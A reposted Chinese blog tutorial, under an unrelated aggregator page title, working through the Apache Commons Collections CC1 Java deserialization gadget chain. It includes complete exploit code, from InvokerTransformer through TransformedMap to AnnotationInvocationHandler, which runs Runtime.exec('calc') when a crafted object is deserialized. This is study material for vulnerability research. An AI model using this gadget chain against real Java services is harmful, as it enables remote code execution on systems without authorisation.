当前位置: 首页> 娱乐> 八卦 > 开发公司外包_网站测试有哪些主要工作_网络技术培训_建网站的公司

开发公司外包_网站测试有哪些主要工作_网络技术培训_建网站的公司

时间:2025/7/9 12:17:28来源:https://blog.csdn.net/ULGANOY/article/details/142455413 浏览次数:0次
开发公司外包_网站测试有哪些主要工作_网络技术培训_建网站的公司

学习参考:Java反序列化CC1链TransformedMap
核心是要学会基本EXP编写,还有怎么找传递链。

链子尾部

这里有一个能反射调用任意类,任意方法的:

image

以这个漏洞点写EXP,由于这个是public的InvokerTransformer,所以不需要反射,直接执行即可:
写一个正常Runtime弹calc的EXP,然后根据参数修改即可

import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class InvokeTransformerTest {public static void main(String[] args) throws Exception{System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});invokerTransformer.transform(runtime);}
}

回溯找调用链

由于链子尾部是调用的transform,所以我们要找其它同名的transform方法。
直接Find Usage找不全,选择 ctrl+alt+shift+F7,选择所有位置即可找全。

找到TransformedMap的checkSetValue方法:
image

其中的valueTransformer来自构造函数。
重点在于,构造函数是protected的!所以得继续找其它调用构造函数的点:
image

Find Usage找到 decorate:
image

现在以decorate开头写一个到invoker结尾的EXP:
对于checkSetVaue,value要是runtime对象,valueTransformer要是InvokerTransformer.

然后由于这个CheckSetValue是protected,所以要反射调用。
先拿到TransformedMap的class,反射获取checkSetValue方法,setAccessible,然后invoke。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class InvokeTransformerTest {public static void main(String[] args) throws Exception{System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);Class<TransformedMap>transformedMapClass = TransformedMap.class;Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);checkSetValueMethod.setAccessible(true);checkSetValueMethod.invoke(decorateMap,runtime);
//        invokerTransformer.transform(runtime);}
}

继续往上找链子,很自然的想到找谁调用了checkSetValue;
唯一一个parent.checkSetValue.
找到调用checkSetValue的是一个Abstractxxx类的一个内部类MapEntry类:
image

往上面回溯两层setValue方法,可以找到来源:
image

image

是来自普遍的Map!

也就是Map在setValue的时候就会触发checkSetValue.

这里尝试验证一下:我们遍历一个map,setvalue(runtime):

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class setValueTest {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);for(Map.Entry entry:decorateMap.entrySet()){entry.setValue(runtime);}}
}

发现确实走到checkSetValue了,同时EXP也成立:
image

继续往上找,找setValue的调用。

找入口类

找到一个readObject的入口类:
(呃呃呃,我的这个是class,不是源码,所以搜不到。。。)
image

然后这个类的构造函数的作用域是default,所以也得用反射写。
理想情况的EXP:

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

理想EXP的几个问题 && 解决

但有几个问题:

  1. Runtime对象不能序列化。

  2. 最终的setValue是需要传Runtime对象的,但这里直接看是不可控的:
    image

  3. 进入setValue前有两个if判断需要解决。

第一个问题:
Runtime对象不可序列化,但是Runtime.class可以。所以用反射来写。
而反射又需要用invokerTransformer来间接完成。
这里用chainedTransformer来简化。
image

这里就不写完了,只是写写Runtime.class和结合invokerTransformer后,再用chainedTransformer简化的部分,其余的链子思路都挺清晰的,现在不想写。。。

Runtime.class:(学到了。。。orz)

package org.example;import java.lang.reflect.Method;public class runtimeClassTest {public static void main(String[] args) throws Exception {Class c = Runtime.class;Method method = c.getMethod("getRuntime");Runtime runtime = (Runtime) method.invoke(null,null);Method run = c.getMethod("exec", String.class);run.invoke(runtime,"calc");}
}

特别是

Runtime runtime = (Runtime) method.invoke(null,null);

秀!

这样就完全可以改造为invokerTransformer的形式了。

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class runtimeClassTest {public static void main(String[] args) throws Exception {Class c = Runtime.class;
//        Method method = c.getMethod("getRuntime");
//        Runtime runtime = (Runtime) method.invoke(null,null);
//        Method run = c.getMethod("exec", String.class);
//        run.invoke(runtime,"calc");Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);Method run = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(c);run.invoke(runtime,"calc");}
}

然后结合chaindTransformer和decorate再写写,

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

然后在Annoxxx那两个if打断点,看看什么情况。
第一个if要求var7!=null:
image

而var7来自:

Class var7 = (Class)var3.get(var6);

我们构造函数的传参是:
image
是没有member的:
image

所以要找另外的注解。
直接跟着找到Target.java:
image

有一个成员value,所以我们put的值也要是value。
调整这两处:
image

这样再debug,var7就!=null了:
image

同时也能成功进入第二个if:
image

现在到了最后一个问题,setValue中的参数不可控。
能找到一个ConstantTransformer类:
image

那么就可以将setValue中new的那个AnnotationTypeMismatchExceptionProxy作为ConstantTransformer的transform的参数!然后iConstant我们可控,就能控制setValue的参数了。(orz ++)
具体到代码实现,刚好这个Constantxxx的transform方法可以添加到ChainedTransformer的开头~
FINAL EXP:(打断点多看看chained那儿)

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), //new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("value",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

image

最后再debug看看chained那儿:
image

第一次的transform就是设置Axxx这个为可控的iConstant(Runtime.class)
image

第二次就是getMethod获取getRuntime:
image

第三次就是method.invoke():
image

最后就是exec("calc"):
image

image

总结

先是找到结尾的反射调用任意类任意方法,然后往上回溯,找重名调用,最终找到入口readObject的类。
中间很多细节值得推敲,精妙!

利用链:

InvokerTransformer # transformTransformedMap # checkSetValueAbstractInputCheckedMapDecorator # setValueAnnotationInvocationHandler # readObject

image
<===
image
<===
image
<===
image

关键字:开发公司外包_网站测试有哪些主要工作_网络技术培训_建网站的公司

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: